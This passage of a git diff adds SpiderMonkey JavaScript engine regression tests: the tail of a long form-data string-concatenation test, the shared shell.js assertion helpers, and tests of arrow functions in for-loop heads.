+ +"&IS43="+IS43
+ +"&B643="+B643
+ +"&EIMG="+EIMG
+ +"&IC01="+IC01
+ +"&IC02="+IC02
+ +"&IC03="+IC03
+ +"&IC04="+IC04
+ +"&IC05="+IC05
+ +"&IC06="+IC06
+ +"&IC07="+IC07
+ +"&ICOT="+ICOT
+ +"&FA32="+FA32
+ +"&EISC="+EISC
+ +"&COLR="+COLR
+ +"&WPOL="+WPOL
+ +"&SF50="+SF50
+ +"&SF51="+SF51
+ +"&SF52="+SF52
+ +"&SF53="+SF53
+ +"&SF54="+SF54
+ +"&MDRI="+MDRI
+ +"&MDIR="+MDIR
+ +"&OB05="+OB05
+ +"&OB06="+OB06
+ +"&OB07="+OB07
+ +"&OB08="+OB08
+ +"&OB09="+OB09
+ +"&OB10="+OB10
+ +"&OB11="+OB11
+ +"&OB12="+OB12
+ +"&OBFI="+OBFI
+ +"&OP01="+OP01
+ +"&OP02="+OP02
+ +"&OP03="+OP03
+ +"&OP04="+OP04
+ +"&SMDR="+SMDR
+ +"&SMDO="+SMDO
+ +"&DMFI="+DMFI
+ +"&HMFD="+HMFD
+ +"&WSMM="+WSMM
+ +"&MMFI="+MMFI
+ +"&MDFP="+MDFP
+ +"&MDMP="+MDMP
+ +"&MDFC="+MDFC
+ +"&MDMC="+MDMC
+ +"&SF55="+SF55
+ +"&SF56="+SF56
+ +"&SF57="+SF57
+ +"&SF58="+SF58
+ +"&SF59="+SF59
+ +"&SF60="+SF60
+ +"&SF61="+SF61
+ +"&SF62="+SF62
+ +"&SF63="+SF63
+ +"&SF64="+SF64
+ +"&SF65="+SF65
+ +"&SFFI="+SFFI
+ +"&RC01="+RC01
+ +"&RC02="+RC02
+ +"&RC03="+RC03
+ +"&RC04="+RC04
+ +"&RC05="+RC05
+ +"&RC06="+RC06
+ +"&RC07="+RC07
+ +"&RC08="+RC08
+ +"&RCFI="+RCFI
+ +"&RH01="+RH01
+ +"&RH02="+RH02
+ +"&RH03="+RH03
+ +"&RH04="+RH04
+ +"&RH05="+RH05
+ +"&RH06="+RH06
+ +"&RHFI="+RHFI
+ +"&FE35="+FE35
+ +"&FE36="+FE36
+ +"&FE37="+FE37
+ +"&FE38="+FE38
+ +"&FE39="+FE39
+ +"&FE40="+FE40
+ +"&FE41="+FE41
+ +"&FE42="+FE42
+ +"&FE43="+FE43
+ +"&FE44="+FE44
+ +"&FE45="+FE45
+ +"&FE46="+FE46
+ +"&FE47="+FE47
+ +"&FE48="+FE48
+ +"&FE49="+FE49
+ +"&FE50="+FE50
+ +"&FE51="+FE51
+ +"&FE52="+FE52
+ +"&FE53="+FE53
+ +"&NCDK="+NCDK
+ +"&NPRM="+NPRM
+ +"&NBLM="+NBLM
+ +"&NVRC="+NVRC
+ +"&NCTP="+NCTP
+ +"&PMDP="+PMDP
+ +"&PMDR="+PMDR
+ +"&CRMD="+CRMD
+ +"&MDDK="+MDDK
+ +"&PUSE="+PUSE
+ +"&IF42="+IF42
+ +"&IF43="+IF43
+ +"&IF44="+IF44
+ +"&IF45="+IF45
+ +"&IF46="+IF46
+ +"&IF47="+IF47
+ +"&IF48="+IF48
+ +"&OF00="+OF00
+ +"&OS00="+OS00
+ +"&BR00="+BR00
+ +"&OB13="+OB13
+ +"&OB14="+OB14
+ +"&MO01="+MO01
+ +"&MO02="+MO02
+ +"&MO03="+MO03
+ +"&MO04="+MO04
+ +"&MO05="+MO05
+ +"&MO06="+MO06
+ +"&MO07="+MO07
+ +"&MO08="+MO08
+ +"&MO09="+MO09
+ +"&MO10="+MO10
+ +"&MO11="+MO11
+ +"&MO12="+MO12
+ +"&MO13="+MO13
+ +"&RF09="+RF09
+ +"&RF10="+RF10
+ +"&RF11="+RF11
+ +"&RF12="+RF12
+ +"&RF13="+RF13
+ +"&RF14="+RF14
+ +"&RF15="+RF15
+ +"&RF16="+RF16
+ +"&RF17="+RF17
+ +"&RF18="+RF18
+ +"&RF19="+RF19
+ +"&RF20="+RF20
+ +"&RF21="+RF21
+ +"&RF22="+RF22
+ +"&RF23="+RF23
+ +"&RF24="+RF24
+ +"&RF25="+RF25
+ +"&RF26="+RF26
+ +"&RF27="+RF27
+ +"&RF28="+RF28
+ +"&RF29="+RF29
+ +"&RF30="+RF30
+ +"&RF31="+RF31
+ +"&RF32="+RF32
+ +"&RF33="+RF33
+ +"&RF34="+RF34
+ +"&RF35="+RF35
+ +"&RF36="+RF36
+ +"&RF37="+RF37
+ +"&RF38="+RF38
+ +"&RF39="+RF39
+ +"&RF40="+RF40
+ +"&RF41="+RF41
+ +"&RF42="+RF42
+ +"&RF43="+RF43
+ +"&RF44="+RF44
+ +"&RF45="+RF45
+ +"&RF46="+RF46
+ +"&RF47="+RF47
+ +"&RF48="+RF48
+ +"&RF49="+RF49
+ +"&RF50="+RF50
+ +"&RF51="+RF51
+ +"&RF52="+RF52
+ +"&RF53="+RF53
+ +"&RF54="+RF54
+ +"&RF55="+RF55
+ +"&RF56="+RF56
+ +"&RF57="+RF57
+ +"&RF58="+RF58
+ +"&RF59="+RF59
+ +"&RF60="+RF60
+ +"&RF61="+RF61
+ +"&RF62="+RF62
+ +"&RF63="+RF63
+ +"&RF64="+RF64
+ +"&RF65="+RF65
+ +"&RF66="+RF66
+ +"&RF67="+RF67
+ +"&CO08="+CO08
+ +"&CO09="+CO09
+ +"&CO10="+CO10
+ +"&CO11="+CO11
+ +"&CO12="+CO12
+ +"&CO13="+CO13
+ +"&CO14="+CO14
+ +"&CO15="+CO15
+ +"&CO16="+CO16
+ +"&CO17="+CO17
+ +"&CO18="+CO18
+ +"&CO19="+CO19
+ +"&WUCP="+WUCP
+ +"&AVSM="+AVSM
+ +"&SD01="+SD01
+ +"&SD02="+SD02
+ +"&SD03="+SD03
+ +"&SD04="+SD04
+ +"&SD05="+SD05
+ +"&SD06="+SD06
+ +"&SD07="+SD07
+ +"&TP01="+TP01
+ +"&TP02="+TP02
+ +"&TP03="+TP03
+ +"&TP04="+TP04
+ +"&WC08="+WC08
+ +"&WC09="+WC09
+ +"&WC10="+WC10
+ +"&WC11="+WC11
+ +"&WC12="+WC12
+ +"&WC13="+WC13
+ +"&WC14="+WC14
+ +"&WC15="+WC15
+ +"&MD01="+MD01
+ +"&MD02="+MD02
+ +"&MD03="+MD03
+ +"&MD04="+MD04
+ +"&MD05="+MD05
+ +"&MD06="+MD06
+ +"&MD07="+MD07
+ +"&MD08="+MD08
+ +"&MD09="+MD09
+ +"&MD10="+MD10
+ +"&MD11="+MD11
+ +"&MD12="+MD12
+ +"&MD13="+MD13
+ +"&MD14="+MD14
+ +"&MD15="+MD15
+ +"&MF01="+MF01
+ +"&MF02="+MF02
+ +"&MF03="+MF03
+ +"&MF04="+MF04
+ +"&MF05="+MF05
+ +"&MF06="+MF06
+ +"&MF07="+MF07
+ +"&MF08="+MF08
+ +"&MF09="+MF09
+ +"&MF10="+MF10
+ +"&MF11="+MF11
+ +"&MF12="+MF12
+ +"&MF13="+MF13
+ +"&MF14="+MF14
+ +"&MF15="+MF15
+ +"&PU01="+PU01
+ +"&PU02="+PU02
+ +"&PU03="+PU03
+ +"&PU04="+PU04
+ +"&PU05="+PU05
+ +"&SF00="+SF00
+ +"&NCDR="+NCDR
+ +"&AGCT="+AGCT
+ +"&MUS1="+MUS1
+ +"&MUS2="+MUS2
+ +"&MUS3="+MUS3
+ +"&SF66="+SF66
+ +"&SF67="+SF67
+ +"&SF68="+SF68
+ +"&FA33="+FA33
+ +"&FA34="+FA34
+ +"&AO44="+AO44
+ +"&IS44="+IS44
+ +"&B644="+B644
+ +"&IF52="+IF52
+ +"&IF53="+IF53
+ +"&IF54="+IF54
+ +"&IF55="+IF55
+ +"&IF56="+IF56
+ +"&IF57="+IF57
+ +"&IF58="+IF58
+ +"&IF59="+IF59
+ +"&IF60="+IF60
+ +"&IF61="+IF61
+ +"&IF62="+IF62
+ +"&IF63="+IF63
+ +"&IF64="+IF64
+ +"&IF65="+IF65
+ +"&IF66="+IF66
+ +"&IF67="+IF67
+ +"&IF68="+IF68
+ +"&MA28="+MA28
+ +"&NADL="+NADL
+ +"&AGCH="+AGCH
+ +"&LRNA="+LRNA
+ +"&LROT="+LROT
+ +"&WHRM="+WHRM
+ +"&WROT="+WROT
+ +"&DV01="+DV01
+ +"&DV02="+DV02
+ +"&DV03="+DV03
+ +"&DV04="+DV04
+ +"&DV05="+DV05
+ +"&DV06="+DV06
+ +"&DV07="+DV07
+ +"&DV08="+DV08
+ +"&PVUF="+PVUF
+ +"&WDVC="+WDVC
+ +"&VCOT="+VCOT
+ +"&VCPU="+VCPU
+ +"&PUCA="+PUCA
+ +"&PUOT="+PUOT
+ +"&SCAT="+SCAT
+ +"&UCBX="+UCBX
+ +"&CRDS="+CRDS
+ +"&SATP="+SATP
+ +"&BRPS="+BRPS
+ +"&BRES="+BRES
+ +"&HMCC="+HMCC
+ +"&MRTV="+MRTV
+ +"&WTTV="+WTTV
+ +"&WTOT="+WTOT
+ +"&MASL="+MASL
+ +"&RESL="+RESL
+ +"&OVSL="+OVSL
+ +"&MPNC="+MPNC
+ +"&NCOT="+NCOT
+ +"&MPCP="+MPCP
+ +"&CPOT="+CPOT
+ +"&CA01="+CA01
+ +"&CA02="+CA02
+ +"&CA03="+CA03
+ +"&CA04="+CA04
+ +"&CA05="+CA05
+ +"&CA06="+CA06
+ +"&HMVC="+HMVC
+ +"&CTVS="+CTVS
+ +"&CTVA="+CTVA
+ +"&WKCC="+WKCC
+ +"&TVBN="+TVBN
+ +"&VP01="+VP01
+ +"&VP02="+VP02
+ +"&VP03="+VP03
+ +"&VPOT="+VPOT
+ +"&WWVT="+WWVT
+ +"&FKTR="+FKTR
+ +"&FKTP="+FKTP
+ +"&FKOP="+FKOP
+ +"&PKOO="+PKOO
+ +"&C1AG="+C1AG
+ +"&C1FV="+C1FV
+ +"&C2AG="+C2AG
+ +"&C2FV="+C2FV
+ +"&C3AG="+C3AG
+ +"&C3FV="+C3FV
+ +"&C4AG="+C4AG
+ +"&C4FV="+C4FV
+ +"&C1A2="+C1A2
+ +"&N1HT="+N1HT
+ +"&N1VT="+N1VT
+ +"&C2A2="+C2A2
+ +"&N2HT="+N2HT
+ +"&N2VT="+N2VT
+ +"&C3A2="+C3A2
+ +"&N3HT="+N3HT
+ +"&N3VT="+N3VT
+ +"&C4A2="+C4A2
+ +"&N4HT="+N4HT
+ +"&N4VT="+N4VT
+ +"&HECG="+HECG
+ +"&HEIC="+HEIC
+ +"&HECC="+HECC
+ +"&HEDV="+HEDV
+ +"&PVPR="+PVPR
+ +"&PPOT="+PPOT
+ +"&BVOV="+BVOV
+ +"&HUVV="+HUVV
+ +"&HUOT="+HUOT
+ +"&RCVC="+RCVC
+ +"&HRVC="+HRVC
+ +"&HROT="+HROT
+ +"&NCP1="+NCP1
+ +"&CD01="+CD01
+ +"&CD02="+CD02
+ +"&CD03="+CD03
+ +"&CD04="+CD04
+ +"&CD05="+CD05
+ +"&RF73="+RF73
+ +"&RF74="+RF74
+ +"&RF75="+RF75
+ +"&RF76="+RF76
+ +"&RF77="+RF77
+ +"&RF78="+RF78
+ +"&RF79="+RF79
+ +"&RF80="+RF80
+ +"&RF81="+RF81
+ +"&RF82="+RF82
+ +"&RF83="+RF83
+ +"&RF84="+RF84
+ +"&RF85="+RF85
+ +"&RF86="+RF86
+ +"&YUDC="+YUDC
+ +"&OCPB="+OCPB
+ +"&IF49="+IF49
+ +"&IF50="+IF50
+ +"&MA27="+MA27
+ +"&CP01="+CP01
+ +"&CP02="+CP02
+ +"&CP03="+CP03
+ +"&CP04="+CP04
+ +"&CP05="+CP05
+ +"&CP06="+CP06
+ +"&CP07="+CP07
+ +"&CP08="+CP08
+ +"&CP09="+CP09
+ +"&CP10="+CP10
+ +"&CP11="+CP11
+ +"&CPFI="+CPFI
+ +"&OBRN="+OBRN
+ +"&OMDL="+OMDL
+ +"&SNQU="+SNQU
+ +"&TS01="+TS01
+ +"&TS02="+TS02
+ +"&TS03="+TS03
+ +"&TS04="+TS04
+ +"&TS05="+TS05
+ +"&TS06="+TS06
+ +"&TS07="+TS07
+ +"&TS08="+TS08
+ +"&RPAU="+RPAU
+ +"&US01="+US01
+ +"&US02="+US02
+ +"&US03="+US03
+ +"&US04="+US04
+ +"&US05="+US05
+ +"&US06="+US06
+ +"&US07="+US07
+ +"&US08="+US08
+ +"&US09="+US09
+ +"&US10="+US10
+ +"&US11="+US11
+ +"&US12="+US12
+ +"&US13="+US13
+ +"&US14="+US14
+ +"&LK01="+LK01
+ +"&LK02="+LK02
+ +"&LK03="+LK03
+ +"&LK04="+LK04
+ +"&LK05="+LK05
+ +"&LK06="+LK06
+ +"&LK07="+LK07
+ +"&LK08="+LK08
+ +"&LK09="+LK09
+ +"&LK10="+LK10
+ +"&LK11="+LK11
+ +"&LK12="+LK12
+ +"&LK13="+LK13
+ +"&LK14="+LK14
+ +"&NCID="+NCID
+ +"&NP01="+NP01
+ +"&NP02="+NP02
+ +"&NP03="+NP03
+ +"&NP04="+NP04
+ +"&NP05="+NP05
+ +"&NP06="+NP06
+ +"&NP07="+NP07
+ +"&NP08="+NP08
+ +"&PLPH="+PLPH
+ +"&LPFI="+LPFI
+ +"&POP2="+POP2
+ +"&OPP2="+OPP2
+ +"&PULO="+PULO
+ +"&ARTI="+ARTI
+ +"&FND2="+FND2
+ +"&IWUM="+IWUM
+ +"&VTPS="+VTPS
+ +"&VPFI="+VPFI
+ +"&MART="+MART
+ +"&OB15="+OB15
+ +"&IF69="+IF69
+ +"&IF70="+IF70
+ +"&IF71="+IF71
+ +"&OF20="+OF20
+ +"&OS20="+OS20
+ +"&BR20="+BR20
+ +"&OF21="+OF21
+ +"&OS21="+OS21
+ +"&BR21="+BR21
+ +"&FC18="+FC18
+ +"&IF72="+IF72
+ +"&IF73="+IF73
+ +"&IF74="+IF74
+ +"&IF75="+IF75
+ +"&IF76="+IF76
+ +"&IF77="+IF77
+ +"&IF78="+IF78
+ +"&MA29="+MA29
+ +"&MA30="+MA30
+ +"&OF22="+OF22
+ +"&OS22="+OS22
+ +"&BR22="+BR22
+ +"&IF79="+IF79
+ +"&IF80="+IF80
+ +"&IF81="+IF81
+ +"&MA31="+MA31
+ +"&OF23="+OF23
+ +"&OS23="+OS23
+ +"&BR23="+BR23
+ +"&OF24="+OF24
+ +"&OS24="+OS24
+ +"&BR24="+BR24
+ +"&OF25="+OF25
+ +"&OS25="+OS25
+ +"&BR25="+BR25
+ +"&OF26="+OF26
+ +"&OS26="+OS26
+ +"&BR26="+BR26
+ +"&FC19="+FC19
+ +"&IF51="+IF51
+ +"&SUIN="+SUIN
+ +"&CBRN="+CBRN
+ +"&PICW="+PICW
+ +"&PICI="+PICI
+ +"&WS01="+WS01
+ +"&WS02="+WS02
+ +"&WS03="+WS03
+ +"&WS04="+WS04
+ +"&WS05="+WS05
+ +"&WS06="+WS06
+ +"&WS07="+WS07
+ +"&WS08="+WS08
+ +"&WS09="+WS09
+ +"&WS10="+WS10
+ +"&WSOT="+WSOT
+ +"&WR01="+WR01
+ +"&WR02="+WR02
+ +"&WR03="+WR03
+ +"&WR04="+WR04
+ +"&WR05="+WR05
+ +"&WR06="+WR06
+ +"&WR07="+WR07
+ +"&WR08="+WR08
+ +"&WR09="+WR09
+ +"&WR10="+WR10
+ +"&WR11="+WR11
+ +"&WR12="+WR12
+ +"&WR13="+WR13
+ +"&SV01="+SV01
+ +"&SV02="+SV02
+ +"&SV03="+SV03
+ +"&BMOL="+BMOL
+ +"&WTBM="+WTBM
+ +"&WJSU="+WJSU
+ +"&OF27="+OF27
+ +"&OS27="+OS27
+ +"&BR27="+BR27
+ +"&OF28="+OF28
+ +"&OS28="+OS28
+ +"&BR28="+BR28
+ +"&IF82="+IF82
+ +"&IF83="+IF83
+ +"&MA32="+MA32
+ +"&MA33="+MA33
+ +"&MA34="+MA34
+ +"&SFOT="+SFOT
+ +"&MPDC="+MPDC
+ +"&DCOT="+DCOT
+ ;
+ return data;
+}
+
+formData();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/shell.js b/js/src/tests/non262/regress/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/regress/shell.js
diff --git a/js/src/tests/non262/shell.js b/js/src/tests/non262/shell.js
new file mode 100644
index 0000000000..2e4f9e5224
--- /dev/null
+++ b/js/src/tests/non262/shell.js
@@ -0,0 +1,339 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+(function(global) {
+ const undefined = void 0;
+
+ /*
+ * completesNormally(CODE) returns true if evaluating CODE (as eval
+ * code) completes normally (rather than throwing an exception).
+ */
+ global.completesNormally = function completesNormally(code) {
+ try {
+ eval(code);
+ return true;
+ } catch (exception) {
+ return false;
+ }
+ }
+
+ /*
+ * raisesException(EXCEPTION)(CODE) returns true if evaluating CODE (as
+ * eval code) throws an exception object that is an instance of EXCEPTION,
+ * and returns false if it throws any other error or evaluates
+ * successfully. For example: raises(TypeError)("0()") == true.
+ */
+ global.raisesException = function raisesException(exception) {
+ return function (code) {
+ try {
+ eval(code);
+ return false;
+ } catch (actual) {
+ return actual instanceof exception;
+ }
+ };
+ };
+
+ /*
+ * Return true if A is equal to B, where equality on arrays and objects
+ * means that they have the same set of enumerable properties, the values
+ * of each property are deep_equal, and their 'length' properties are
+ * equal. Equality on other types is ==.
+ */
+ global.deepEqual = function deepEqual(a, b) {
+ if (typeof a != typeof b)
+ return false;
+
+ if (typeof a == 'object') {
+ var props = {};
+ // For every property of a, does b have that property with an equal value?
+ for (var prop in a) {
+ if (!deepEqual(a[prop], b[prop]))
+ return false;
+ props[prop] = true;
+ }
+ // Are all of b's properties present on a?
+ for (var prop in b)
+ if (!props[prop])
+ return false;
+ // length isn't enumerable, but we want to check it, too.
+ return a.length == b.length;
+ }
+
+ if (a === b) {
+ // Distinguish 0 from -0, even though they are ===.
+ return a !== 0 || 1/a === 1/b;
+ }
+
+ // Treat NaNs as equal, even though NaN !== NaN.
+ // NaNs are the only non-reflexive values, i.e., if a !== a, then a is a NaN.
+ // isNaN is broken: it converts its argument to number, so isNaN("foo") => true
+ return a !== a && b !== b;
+ }
+
+ /** Make an iterator with a return method. */
+ global.makeIterator = function makeIterator(overrides) {
+ var throwMethod;
+ if (overrides && overrides.throw)
+ throwMethod = overrides.throw;
+ var iterator = {
+ throw: throwMethod,
+ next: function(x) {
+ if (overrides && overrides.next)
+ return overrides.next(x);
+ return { done: false };
+ },
+ return: function(x) {
+ if (overrides && overrides.ret)
+ return overrides.ret(x);
+ return { done: true };
+ }
+ };
+
+ return function() { return iterator; };
+ };
+
+ /** Yield every permutation of the elements in some array. */
+ global.Permutations = function* Permutations(items) {
+ if (items.length == 0) {
+ yield [];
+ } else {
+ items = items.slice(0);
+ for (let i = 0; i < items.length; i++) {
+ let swap = items[0];
+ items[0] = items[i];
+ items[i] = swap;
+ for (let e of Permutations(items.slice(1, items.length)))
+ yield [items[0]].concat(e);
+ }
+ }
+ };
+
+ if (typeof global.assertThrowsValue === 'undefined') {
+ global.assertThrowsValue = function assertThrowsValue(f, val, msg) {
+ var fullmsg;
+ try {
+ f();
+ } catch (exc) {
+ if ((exc === val) === (val === val) && (val !== 0 || 1 / exc === 1 / val))
+ return;
+ fullmsg = "Assertion failed: expected exception " + val + ", got " + exc;
+ }
+ if (fullmsg === undefined)
+ fullmsg = "Assertion failed: expected exception " + val + ", no exception thrown";
+ if (msg !== undefined)
+ fullmsg += " - " + msg;
+ throw new Error(fullmsg);
+ };
+ }
+
+ if (typeof global.assertThrowsInstanceOf === 'undefined') {
+ global.assertThrowsInstanceOf = function assertThrowsInstanceOf(f, ctor, msg) {
+ var fullmsg;
+ try {
+ f();
+ } catch (exc) {
+ if (exc instanceof ctor)
+ return;
+ fullmsg = `Assertion failed: expected exception ${ctor.name}, got ${exc}`;
+ }
+
+ if (fullmsg === undefined)
+ fullmsg = `Assertion failed: expected exception ${ctor.name}, no exception thrown`;
+ if (msg !== undefined)
+ fullmsg += " - " + msg;
+
+ throw new Error(fullmsg);
+ };
+ }
+
+ global.assertDeepEq = (function(){
+ var call = Function.prototype.call,
+ Array_isArray = Array.isArray,
+ Array_includes = call.bind(Array.prototype.includes),
+ Map_ = Map,
+ Error_ = Error,
+ Symbol_ = Symbol,
+ Symbol_keyFor = Symbol.keyFor,
+ Symbol_description = call.bind(Object.getOwnPropertyDescriptor(Symbol.prototype, "description").get),
+ Map_has = call.bind(Map.prototype.has),
+ Map_get = call.bind(Map.prototype.get),
+ Map_set = call.bind(Map.prototype.set),
+ Object_toString = call.bind(Object.prototype.toString),
+ Function_toString = call.bind(Function.prototype.toString),
+ Object_getPrototypeOf = Object.getPrototypeOf,
+ Object_hasOwnProperty = call.bind(Object.prototype.hasOwnProperty),
+ Object_getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor,
+ Object_isExtensible = Object.isExtensible,
+ Object_getOwnPropertyNames = Object.getOwnPropertyNames;
+
+ // Return true iff ES6 Type(v) isn't Object.
+ // Note that `typeof document.all === "undefined"`.
+ function isPrimitive(v) {
+ return (v === null ||
+ v === undefined ||
+ typeof v === "boolean" ||
+ typeof v === "number" ||
+ typeof v === "string" ||
+ typeof v === "symbol");
+ }
+
+ function assertSameValue(a, b, msg) {
+ try {
+ assertEq(a, b);
+ } catch (exc) {
+ throw Error_(exc.message + (msg ? " " + msg : ""));
+ }
+ }
+
+ function assertSameClass(a, b, msg) {
+ var ac = Object_toString(a), bc = Object_toString(b);
+ assertSameValue(ac, bc, msg);
+ switch (ac) {
+ case "[object Function]":
+ if (typeof isProxy !== "undefined" && !isProxy(a) && !isProxy(b))
+ assertSameValue(Function_toString(a), Function_toString(b), msg);
+ }
+ }
+
+ function at(prevmsg, segment) {
+ return prevmsg ? prevmsg + segment : "at _" + segment;
+ }
+
+ // Assert that the arguments a and b are thoroughly structurally equivalent.
+ //
+ // For the sake of speed, we cut a corner:
+ // var x = {}, y = {}, ax = [x];
+ // assertDeepEq([ax, x], [ax, y]); // passes (?!)
+ //
+ // Technically this should fail, since the two object graphs are different.
+ // (The graph of [ax, y] contains one more object than the graph of [ax, x].)
+ //
+ // To get technically correct behavior, pass {strictEquivalence: true}.
+ // This is slower because we have to walk the entire graph, and Object.prototype
+ // is big.
+ //
+ return function assertDeepEq(a, b, options) {
+ var strictEquivalence = options ? options.strictEquivalence : false;
+
+ function assertSameProto(a, b, msg) {
+ check(Object_getPrototypeOf(a), Object_getPrototypeOf(b), at(msg, ".__proto__"));
+ }
+
+ function failPropList(na, nb, msg) {
+ throw Error_("got own properties " + JSON.stringify(na) + ", expected " + JSON.stringify(nb) +
+ (msg ? " " + msg : ""));
+ }
+
+ function assertSameProps(a, b, msg) {
+ var na = Object_getOwnPropertyNames(a),
+ nb = Object_getOwnPropertyNames(b);
+ if (na.length !== nb.length)
+ failPropList(na, nb, msg);
+
+ // Ignore differences in whether Array elements are stored densely.
+ if (Array_isArray(a)) {
+ na.sort();
+ nb.sort();
+ }
+
+ for (var i = 0; i < na.length; i++) {
+ var name = na[i];
+ if (name !== nb[i])
+ failPropList(na, nb, msg);
+ var da = Object_getOwnPropertyDescriptor(a, name),
+ db = Object_getOwnPropertyDescriptor(b, name);
+ var pmsg = at(msg, /^[_$A-Za-z0-9]+$/.test(name)
+ ? /0|[1-9][0-9]*/.test(name) ? "[" + name + "]" : "." + name
+ : "[" + JSON.stringify(name) + "]");
+ assertSameValue(da.configurable, db.configurable, at(pmsg, ".[[Configurable]]"));
+ assertSameValue(da.enumerable, db.enumerable, at(pmsg, ".[[Enumerable]]"));
+ if (Object_hasOwnProperty(da, "value")) {
+ if (!Object_hasOwnProperty(db, "value"))
+ throw Error_("got data property, expected accessor property" + pmsg);
+ check(da.value, db.value, pmsg);
+ } else {
+ if (Object_hasOwnProperty(db, "value"))
+ throw Error_("got accessor property, expected data property" + pmsg);
+ check(da.get, db.get, at(pmsg, ".[[Get]]"));
+ check(da.set, db.set, at(pmsg, ".[[Set]]"));
+ }
+ }
+ };
+
+ const wellKnownSymbols = Reflect.ownKeys(Symbol)
+ .map(key => Symbol[key])
+ .filter(value => typeof value === "symbol");
+
+ // The standard doesn't offer a convenient way to distinguish well-known
+ // symbols from user-created symbols.
+ function isSimilarSymbol(a, b) {
+ // Fast path for same symbols.
+ if (a === b) {
+ return true;
+ }
+
+ // 1. Symbol descriptions must match.
+ // 2. Either both symbols are in the registry or none is.
+ // 3. Neither symbol must be a well-known symbol, because those are
+ // already handled through the fast path.
+ return Symbol_description(a) === Symbol_description(b) &&
+ Symbol_keyFor(a) === Symbol_keyFor(b) &&
+ !Array_includes(wellKnownSymbols, a) &&
+ !Array_includes(wellKnownSymbols, b);
+ }
+
+ var ab = new Map_();
+ var bpath = new Map_();
+
+ function check(a, b, path) {
+ if (typeof a === "symbol") {
+ // Symbols are primitives, but they have identity.
+ // Symbol("x") !== Symbol("x") but
+ // assertDeepEq(Symbol("x"), Symbol("x")) should pass.
+ if (typeof b !== "symbol") {
+ throw Error_("got " + String(a) + ", expected " + String(b) + " " + path);
+ } else if (!isSimilarSymbol(a, b)) {
+ throw Error_("got " + String(a) + ", expected " + String(b) + " " + path);
+ } else if (Map_has(ab, a)) {
+ assertSameValue(Map_get(ab, a), b, path);
+ } else if (Map_has(bpath, b)) {
+ var bPrevPath = Map_get(bpath, b) || "_";
+ throw Error_("got distinct symbols " + at(path, "") + " and " +
+ at(bPrevPath, "") + ", expected the same symbol both places");
+ } else {
+ Map_set(ab, a, b);
+ Map_set(bpath, b, path);
+ }
+ } else if (isPrimitive(a)) {
+ assertSameValue(a, b, path);
+ } else if (isPrimitive(b)) {
+ throw Error_("got " + Object_toString(a) + ", expected " + String(b) + " " + path);
+ } else if (Map_has(ab, a)) {
+ assertSameValue(Map_get(ab, a), b, path);
+ } else if (Map_has(bpath, b)) {
+ var bPrevPath = Map_get(bpath, b) || "_";
+ throw Error_("got distinct objects " + at(path, "") + " and " + at(bPrevPath, "") +
+ ", expected the same object both places");
+ } else {
+ Map_set(ab, a, b);
+ Map_set(bpath, b, path);
+ if (a !== b || strictEquivalence) {
+ assertSameClass(a, b, path);
+ assertSameProto(a, b, path);
+ assertSameProps(a, b, path);
+ assertSameValue(Object_isExtensible(a),
+ Object_isExtensible(b),
+ at(path, ".[[Extensible]]"));
+ }
+ }
+ }
+
+ check(a, b, "");
+ };
+ })();
+
+})(this);
diff --git a/js/src/tests/non262/statements/arrow-function-at-end-of-for-statement-head.js b/js/src/tests/non262/statements/arrow-function-at-end-of-for-statement-head.js
new file mode 100644
index 0000000000..9043b818c6
--- /dev/null
+++ b/js/src/tests/non262/statements/arrow-function-at-end-of-for-statement-head.js
@@ -0,0 +1,64 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "arrow-function-in-for-statement-head.js";
+var BUGNUMBER = 1302994;
+var summary =
+ "Don't assert when an arrow function occurs at the end of a declaration " +
+ "init-component of a for(;;) loop head";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function f1()
+{
+ for (var x = a => b; false; false)
+ {}
+}
+f1();
+
+function f2()
+{
+ for (var x = a => b, y = c => d; false; false)
+ {}
+}
+f2();
+
+function f3()
+{
+ for (var x = a => {}; false; false)
+ {}
+}
+f3();
+
+function f4()
+{
+ for (var x = a => {}, y = b => {}; false; false)
+ {}
+}
+f4();
+
+function g1()
+{
+ for (a => b; false; false)
+ {}
+}
+g1();
+
+function g2()
+{
+ for (a => {}; false; false)
+ {}
+}
+g2();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/arrow-function-in-for-statement-head.js b/js/src/tests/non262/statements/arrow-function-in-for-statement-head.js
new file mode 100644
index 0000000000..4b636d3acf
--- /dev/null
+++ b/js/src/tests/non262/statements/arrow-function-in-for-statement-head.js
@@ -0,0 +1,33 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "arrow-function-in-for-statement-head.js";
+var BUGNUMBER = 1163851;
+var summary =
+ "|for (x => 0 in 1;;) break;| must be a syntax error per ES6, not an " +
+ "elaborate nop";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ Function("for (x => 0 in 1;;) break;");
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "expected syntax error, got " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/browser.js b/js/src/tests/non262/statements/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/statements/browser.js
diff --git a/js/src/tests/non262/statements/for-in-with-assignment-semantics.js b/js/src/tests/non262/statements/for-in-with-assignment-semantics.js
new file mode 100644
index 0000000000..f1dbb3438f
--- /dev/null
+++ b/js/src/tests/non262/statements/for-in-with-assignment-semantics.js
@@ -0,0 +1,46 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const unreachable = () => { throw "unreachable"; };
+
